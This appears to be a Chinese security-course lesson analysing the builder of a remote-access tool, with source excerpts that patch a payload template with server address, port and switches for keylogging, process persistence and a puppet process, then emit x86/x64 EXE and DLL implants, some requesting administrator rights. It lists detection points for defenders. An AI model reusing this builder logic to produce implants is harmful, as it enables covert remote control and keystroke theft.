第 16 课:生成 EXE 与 DLL
# 第 16 课:生成 EXE 与 DLL
免责声明:本专栏仅用于安全工程学习研究,禁止使用本专栏介绍的技术做其他用途,否则后果自负,与本号无关。
本课定位:防御分析、源码阅读、构建链理解。
本课只说明主控生成 EXE/DLL 的源码路径、模板选择和配置写入方式,不提供未授权投递或使用步骤。
第 15 课之后,我们已经理解插件侧网络库。本课回到主控端,看“生成 EXE / DLL”按钮背后做了什么。新手要先建立一个认识:这里所谓生成,并不是现场编译源码,而是把已有模板产物读出来,再把连接配置、启动参数和导出入口等信息写进模板。
# 1. 本课学习目标
| 问题 | 本课回答 |
|---|---|
| 主控有哪些生成模式 | 普通 EXE、请求管理员权限 EXE、DLL |
| 生成按钮在哪里 | 主控\Quick\BuildDlg.cpp |
| 模板从哪里来 | Plugins\x86 / Plugins\x64 下的上线模块模板 |
| 配置如何写入 | 查找占位标记并替换配置结构 |
| DLL 有什么特殊点 | 需要处理导出入口占位和 DLL 使用方式 |
# 2. 源码目录和文件
| 文件 | 作用 |
|---|---|
主控\Quick\BuildDlg.cpp | 生成按钮、生成模式、模板写入逻辑 |
主控\Quick\BuildDlg.h | 生成对话框字段声明 |
主控\Quick\MainFrm.cpp | 初始化时释放插件模板和计算版本 |
主插件\上线模块\上线模块\上线模块.cpp | EXE/DLL 入口差异 |
主插件\上线模块\上线模块\上线模块.vcxproj | EXE/DLL 项目类型配置 |
# 3. 三种生成模式:按钮只是入口,核心都进 build

主控生成对话框里有三个入口:普通 EXE、请求管理员权限 EXE、DLL。它们最终都调用 build(mode),区别在于模式参数和后续模板处理。
// 源码位置:主控\Quick\BuildDlg.cpp:8-15
// 防御分析注释:
// 1. BuildModeType 是生成链入口枚举,用来区分 EXE、请求管理员权限 EXE、DLL 和 shellcode。
// 2. 本课只讲 EXE / DLL;shellcode 生成在第 18 课单独展开。
// 3. 做企业审计时,应把这些枚举视为“构建能力面”,不要只盯运行期联网行为。
enum BuildModeType
{
BuildModeTypeExe,
// 生成的 exe 运行时请求管理员权限
BuildModeTypeExeWithRequestAdmin,
BuildModeTypeDll,
BuildModeTypeShellCode
};
2
3
4
5
6
7
8
9
10
11
12
13
// 源码位置:主控\Quick\BuildDlg.cpp:991-1025
// 防御分析注释:
// 1. 三个按钮都清空提示框,然后调用 build(mode)。
// 2. 按钮回调本身不生成文件,真正写文件的是后面的 ChangeDataAndWriteFile。
// 3. 企业侧如果要做构建链审计,应记录操作者、生成模式、输出路径、模板路径和产物哈希。
void CBuildDlg::OnBnClickedBuildExe()
{
m_edit_tip.SetWindowText(_T(""));
m_edit_tip.SendMessage(EM_REPLACESEL, 0, (LPARAM)_T("开始生成.\r\n"));
if (!build(BuildModeType::BuildModeTypeExe))
m_edit_tip.SendMessage(EM_REPLACESEL, 0, (LPARAM)_T("生成失败\r\n"));
}
void CBuildDlg::OnBnClickedBuildExeWithRequestAdmin()
{
m_edit_tip.SetWindowText(_T(""));
m_edit_tip.SendMessage(EM_REPLACESEL, 0, (LPARAM)_T("开始生成.\r\n"));
if (!build(BuildModeType::BuildModeTypeExeWithRequestAdmin))
m_edit_tip.SendMessage(EM_REPLACESEL, 0, (LPARAM)_T("生成失败\r\n"));
}
void CBuildDlg::OnBnClickedBuildDll()
{
m_edit_tip.SetWindowText(_T(""));
m_edit_tip.SendMessage(EM_REPLACESEL, 0, (LPARAM)_T("开始生成.\r\n"));
if (!build(BuildModeType::BuildModeTypeDll))
m_edit_tip.SendMessage(EM_REPLACESEL, 0, (LPARAM)_T("生成失败\r\n"));
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
新手读 MFC 项目时,可以把它理解为一条固定路径:
按钮资源 IDC_BUILD_EXE / IDC_BUILD_DLL
-> MFC 消息映射 ON_BN_CLICKED
-> CBuildDlg::OnBnClickedBuild*
-> CBuildDlg::build(mode)
-> GetSettingData
-> ChangeDataAndWriteFile
2
3
4
5
6
# 4. build:一次生成同时处理 x86 和 x64
build 里有一个很关键的设计:选择“生成 EXE”后,它会分别读取 x86 和 x64 模板,各输出一份产物。DLL 模式也是同样的思路。
// 源码位置:主控\Quick\BuildDlg.cpp:1028-1132
// 防御分析注释:
// 1. CFileDialog 只选择输出基名,源码会自动追加 _86.exe / _64.exe / _86.dll / _64.dll。
// 2. templateFilePath 指向主控运行目录下的 Plugins\x86 或 Plugins\x64。
// 3. 这里没有调用编译器,生成动作本质上是“模板文件 + 配置覆盖 + 写出新文件”。
// 4. 安全化节选:省略 UI 提示和错误消息,只保留防御分析所需的控制流。
BOOL CBuildDlg::build(int mode)
{
UpdateData(TRUE);
CFileDialog dlg(FALSE, _T(""), _T("output"),
OFN_HIDEREADONLY | OFN_OVERWRITEPROMPT,
_T("可执行文件(*.*)| All Files (*.*) |*.*||"), NULL);
if (dlg.DoModal() != IDOK)
return FALSE;
CString templatePath;
CString newFilePath = dlg.GetPathName();
int nGenerateNum = m_nGenerateNum;
int successNum = 0;
if (mode == BuildModeType::BuildModeTypeExe)
{
if (!GetSettingData())
return FALSE;
templatePath = _T("\\Plugins\\x86\\上线模块.bin");
ChangeDataAndWriteFile(templatePath, newFilePath, L"_86.exe",
FALSE, false, nGenerateNum, successNum);
templatePath = _T("\\Plugins\\x64\\上线模块.bin");
ChangeDataAndWriteFile(templatePath, newFilePath, L"_64.exe",
FALSE, false, nGenerateNum, successNum);
}
else if (mode == BuildModeType::BuildModeTypeDll)
{
templatePath = _T("\\Plugins\\x86\\上线模块.dll");
ChangeDataAndWriteFile(templatePath, newFilePath, L"_86.dll",
TRUE, false, nGenerateNum, successNum);
templatePath = _T("\\Plugins\\x64\\上线模块.dll");
ChangeDataAndWriteFile(templatePath, newFilePath, L"_64.dll",
TRUE, false, nGenerateNum, successNum);
}
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
这里的 上线模块.bin 和 上线模块.dll 是两种模板:
| 模板 | 生成结果 | 入口形态 |
|---|---|---|
上线模块.bin | 生成 _86.exe / _64.exe | 运行时走 _tmain |
上线模块.dll | 生成 _86.dll / _64.dll | 加载时走 DllMain 或导出函数 |
# 5. 高权限 EXE:多一步 manifest 注入
请求管理员权限 EXE 仍然读取 上线模块.bin,但 withRequestAdmin 会变成 true。写出文件后,源码会调用 InjectManifest。
// 源码位置:主控\Quick\BuildDlg.cpp:1078-1099、1320-1325、1344-1375
// 防御分析注释:
// 1. BuildModeTypeExeWithRequestAdmin 和普通 EXE 共用模板。
// 2. 差异在 withRequestAdmin=true,写出后调用 InjectManifest。
// 3. manifest 中的 requireAdministrator 会影响 UAC,是企业检测和合规审查重点。
// 4. 合规远程运维工具不应静默提升权限,应有授权、签名、审批和审计。
else if (mode == BuildModeTypeExeWithRequestAdmin)
{
templateFilePath = _T("\\Plugins\\x86\\上线模块.bin");
ChangeDataAndWriteFile(templateFilePath, newFilePath, L"%s_86.exe",
FALSE, true, nGenerateNum, successNum);
}
if (withRequestAdmin)
{
if (InjectManifest(strNewFileName))
successNum++;
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
这一步不是网络行为,但很有检测价值。构建期的 requireAdministrator 已经说明产物有更高权限诉求,后续运行期再结合进程树、签名、网络连接和插件加载,才能形成完整判断。
# 6. 配置如何写入模板

配置写入分两段:先由 GetSettingData 把界面字段变成配置字符串,再由 ChangeDataAndWriteFile 覆盖模板里的 xiugaishiyong。
// 源码位置:主控\Quick\BuildDlg.cpp:1136-1199
// 防御分析注释:
// 1. g_myInfo 先接收界面中的地址、端口、协议、备注、分组和功能开关。
// 2. Setfindinfo 把 confimodel 里的中文占位词替换成真实值或 "1"/"0"。
// 3. s.MakeReverse() 会把配置反转,运行期上线模块再反转回来解析。
// 4. m_szConfig 是最终写入模板的缓冲区,是静态分析的重要线索。
bool CBuildDlg::GetSettingData()
{
UpdateData(TRUE);
_tcscpy_s(g_myInfo.szAddress, m_edit_ip.GetBuffer(0));
_tcscpy_s(g_myInfo.szPort, m_edit_port.GetBuffer(0));
g_myInfo.IsTcp = m_combo_net.GetCurSel() ? false : true;
g_myInfo.otherset.IsKeyboard =
(((CButton*)GetDlgItem(IDC_CHECK_KEYBOARD))->GetCheck()) ? true : false;
g_myInfo.otherset.antinet =
(((CButton*)GetDlgItem(IDC_CHECK_NET))->GetCheck()) ? true : false;
g_myInfo.otherset.Processdaemon =
(((CButton*)GetDlgItem(IDC_CHECK_PROCESSDAEMON))->GetCheck()) ? true : false;
g_myInfo.otherset.puppet =
(((CButton*)GetDlgItem(IDC_CHECK_PUPPET))->GetCheck()) ? true : false;
CString s = confimodel;
Setfindinfo(s, _T("地址1"), g_myInfo.szAddress, NULL);
Setfindinfo(s, _T("端口1"), g_myInfo.szPort, NULL);
Setfindinfo(s, _T("通信1"), NULL, g_myInfo.IsTcp);
Setfindinfo(s, _T("键盘"), NULL, g_myInfo.otherset.IsKeyboard);
Setfindinfo(s, _T("流量"), NULL, g_myInfo.otherset.antinet);
Setfindinfo(s, _T("守护"), NULL, g_myInfo.otherset.Processdaemon);
Setfindinfo(s, _T("傀儡"), NULL, g_myInfo.otherset.puppet);
s.MakeReverse();
ZeroMemory(m_szConfig, 1000 * 2);
memcpy(m_szConfig, s.GetBuffer(), s.GetLength() * 2 + 2);
return TRUE;
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
// 源码位置:主控\Quick\BuildDlg.cpp:1212-1342
// 防御分析注释:
// 1. path_data = 主控运行目录 + strTemplateFilePath,说明模板来自 Plugins 目录。
// 2. memfind(str, _T("xiugaishiyong"), len, 0) 是配置写入定位点。
// 3. 找不到占位标记就退出,说明模板必须预留该标记。
// 4. strNewFileName 带序号和架构后缀,企业侧应记录输出路径、哈希和操作者。
void CBuildDlg::ChangeDataAndWriteFile(
const CString& strTemplateFilePath,
const CString& newFilePath,
const CString& newFileTemplateName,
BOOL bChangeExport,
bool withRequestAdmin,
int generateNum,
int& successNum)
{
TCHAR szDataPath[MAX_PATH] = { 0 };
GetModuleFileName(NULL, szDataPath, ARRAYSIZE(szDataPath));
*_tcsrchr(szDataPath, _T('\\')) = '\0';
CString path_data;
path_data = szDataPath;
path_data += strTemplateFilePath;
HANDLE hFile = CreateFile(path_data, GENERIC_READ, FILE_SHARE_READ,
NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
DWORD len = GetFileSize(hFile, NULL);
char* str = new char[len];
ReadFile(hFile, str, len, &wr, NULL);
CloseHandle(hFile);
DWORD dwOffset = memfind(str, _T("xiugaishiyong"), len, 0);
if (dwOffset == -1)
return;
memcpy(str + dwOffset, (char*)&m_szConfig, lstrlen(m_szConfig) * 2 + 1);
for (int i = 0; i < generateNum; i++)
{
CString strNewFileName;
strNewFileName.Format(L"%s_%03d_%s",
newFilePath, i + 1, newFileTemplateName);
CFile file;
if (file.Open(strNewFileName,
CFile::modeCreate | CFile::modeWrite | CFile::modeRead | CFile::typeBinary))
{
file.Write(str, len);
file.Close();
}
}
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
上面代码是安全化节选:省略文件句柄异常处理和 UI 提示,只保留防御分析所需的模板读取、占位定位、配置覆盖和输出流程。
# 7. DLL 生成有什么不同

DLL 模式除了写入连接配置,还要处理 DLL 入口和导出函数相关占位。源码里默认导出名占位是 zidingyixiugaidaochuhanshu。
// 源码位置:主控\Quick\BuildDlg.cpp:1102-1129、1278-1303
// 防御分析注释:
// 1. DLL 模式先询问是否加载时运行 DllMain,结果写入 RunDllEntryProc。
// 2. bChangeExport 为 TRUE 时,会替换导出函数名占位。
// 3. dwOffset_export 是模板中导出名的位置,m_edit_dll 是界面字段。
// 4. 合规 DLL 产物应明确导出函数用途,并具备签名、版本、加载者和审计记录。
else if (mode == BuildModeType::BuildModeTypeDll)
{
g_myInfo.otherset.RunDllEntryProc =
(MessageBox(_T("Dll加载运行DllMain吗?"), _T("加载执行"), MB_OKCANCEL) == IDOK);
if (!GetSettingData())
return FALSE;
templateFilePath = _T("\\Plugins\\x86\\上线模块.dll");
ChangeDataAndWriteFile(templateFilePath, newFilePath, L"_86.dll",
TRUE, false, nGenerateNum, successNum);
}
if (bChangeExport)
{
dwOffset_export = memfind(str, "zidingyixiugaidaochuhanshu", len, 0);
exportnamelen = WideCharToMultiByte(CP_ACP, 0, m_edit_dll, -1, NULL, 0, NULL, NULL);
memcpy(str + dwOffset_export, (char*)exportnamebuf, exportnamelen);
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
模板侧也有对应的入口差异。
// 源码位置:主插件\上线模块\上线模块\上线模块.cpp:58-59、350-416
// 防御分析注释:
// 1. confi 的初始值 xiugaishiyong 和生成器中的 memfind 对应。
// 2. 非 _WINDLL 产物走 _tmain,DLL 产物走 DllMain / load / run。
// 3. load(TCHAR* code) 可以接收外部传入配置,run() 是无参数导出入口。
// 4. 防御侧重点记录加载者、导出名、线程创建、配置解析和后续网络行为。
TCHAR confi[1000] = _T("xiugaishiyong");
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
if (ul_reason_for_call == DLL_PROCESS_ATTACH)
{
Analyze();
if (MyInfo.otherset.RunDllEntryProc)
hThread = CreateThread(0, 0,
(LPTHREAD_START_ROUTINE)MainThread, 0, 0, 0);
}
return TRUE;
}
extern "C" __declspec(dllexport) void load(TCHAR* code)
{
memcpy(confi, code, lstrlen(code) * 2 + 2);
Analyze();
hThread = CreateThread(0, 0,
(LPTHREAD_START_ROUTINE)MainThread, 0, 0, 0);
}
extern "C" __declspec(dllexport) PVOID run()
{
hThread = CreateThread(0, 0,
(LPTHREAD_START_ROUTINE)MainThread, 0, 0, 0);
return 0;
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
# 8. 模板运行期如何解析配置
生成器写进去的是反转后的配置字符串。运行期上线模块会先把它反转回来,再按短标记解析到 MyInfo。
// 源码位置:主插件\上线模块\上线模块\上线模块.cpp:118-154
// 防御分析注释:
// 1. _tcsrev(confi) 对应生成期的 s.MakeReverse()。
// 2. Getfindinfo 解析 p1/o1/t1 等短标记,得到地址、端口和协议。
// 3. jp/ll/sh/kl 等标记对应键盘记录、反查流量、进程守护、傀儡进程等开关。
// 4. 这里只做防御性阅读,不提供配置构造方式。
void Analyze()
{
#ifndef _DEBUG
_tcsrev(confi);
ZeroMemory(&MyInfo, sizeof(Info));
Getfindinfo(confi, _T("p1:"), MyInfo.szAddress, NULL);
Getfindinfo(confi, _T("o1:"), MyInfo.szPort, NULL);
Getfindinfo(confi, _T("t1:"), NULL, &(MyInfo.IsTcp));
Getfindinfo(confi, _T("jp:"), NULL, &(MyInfo.otherset.IsKeyboard));
Getfindinfo(confi, _T("ll:"), NULL, &(MyInfo.otherset.antinet));
Getfindinfo(confi, _T("sh:"), NULL, &(MyInfo.otherset.Processdaemon));
Getfindinfo(confi, _T("kl:"), NULL, &(MyInfo.otherset.puppet));
#endif
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# 9. 模板来源:主控启动时释放资源
生成器依赖的模板不是凭空出现的。主控启动时会把内置资源写到 Plugins\x86、Plugins\x64,并保存插件版本信息。
// 源码位置:主控\Quick\MainFrm.cpp:1538-1642
// 防御分析注释:
// 1. iswin64 决定输出到 Plugins\x64 还是 Plugins\x86。
// 2. FindResource / LoadResource / LockResource 说明模板来自主控资源。
// 3. MD5 会被保存为 Version,后续用于插件版本协商。
// 4. buildshellcode 为真时,会额外生成 _bin 数据,和第 18 课、第 21 课衔接。
void CMainFrame::WriteResource(bool iswin64, TCHAR* lp_path,
TCHAR* lp_filename, int lpszType, TCHAR* lpresname,
bool bwrite, bool buildshellcode, char* param)
{
CString str = lp_path;
iswin64 ? str += _T("\\Plugins\\x64\\") : str += _T("\\Plugins\\x86\\");
str += lp_filename;
HRSRC hResource = FindResource(GetModuleHandle(NULL),
MAKEINTRESOURCE(lpszType), lpresname);
HGLOBAL hg = LoadResource(GetModuleHandle(NULL), hResource);
char* pBuffer = (char*)LockResource(hg);
DWORD dwSize = SizeofResource(GetModuleHandle(NULL), hResource);
if (bwrite)
WriteFile(h_Skinfile, pBuffer, dwSize, &dwTemp, NULL);
p_PluginsInfo->filedate = (BYTE*)pBuffer;
p_PluginsInfo->filesize = dwSize;
string s_tmp = MD5((void*)pBuffer, dwSize).toString();
int size = MultiByteToWideChar(CP_ACP, 0, s_tmp.c_str(), -1, NULL, 0);
MultiByteToWideChar(CP_ACP, 0, s_tmp.c_str(), -1, p_PluginsInfo->Version, size);
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
这里涉及 BoxedApp SDK 相关封装。它在本工程里的用途是辅助创建虚拟/本地插件文件,让资源释放后的模板以 Plugins\x86/x64 路径呈现。它不是配置生成的核心,但会影响文件落地和审计视角。
# 10. 企业检测点
| 层面 | 检测点 | 说明 |
|---|---|---|
| 构建链 | 读取 Plugins\x86/x64 模板 | 说明主控正在生成新产物 |
| 文件 | 输出 EXE/DLL | 记录路径、哈希、签名状态 |
| 静态 | xiugaishiyong、zidingyixiugaidaochuhanshu | 可作为源码审计线索 |
| 配置 | 反转配置、p1/o1/t1、jp/ll/sh/kl | 关联生成期配置和运行期行为 |
| 权限 | requireAdministrator manifest | 识别提升权限诉求 |
| DLL | DllMain、load、run | 明确加载者、导出入口和加载审计 |
# 11. 合法练习题
- 只阅读源码,画出“按钮 -> build -> 选择模板 -> 写入配置 -> 输出文件”的流程图。
- 说明 EXE 和 DLL 在入口函数上的区别。
- 给合规构建系统设计产物记录字段:产物名、架构、模式、哈希、签名、操作者、时间。
- 从源码角度说明为什么
xiugaishiyong是生成链关键标记。
# 12. 本课小结
本课讲清楚了主控生成 EXE/DLL 的本质:它读取已有模板,写入反转后的配置字符串,再输出 x86/x64 两套产物。EXE 通过 _tmain 启动,DLL 通过 DllMain 或导出函数进入。对企业安全工程来说,构建链不是边缘环节;模板读取、配置写入、manifest 注入、导出函数替换和产物落地,都应该进入检测和审计范围。
安全工程知识交流加wx:easy_coder,黑灰产勿扰,企业单位合作请出示有效证件。
本留言区仅对应当前文章,欢迎补充观点、提出问题或帮助修正文中疏漏。 留言由 GitHub/Gitalk 提供,需要使用 GitHub 登录。
社区交流
讨论与留言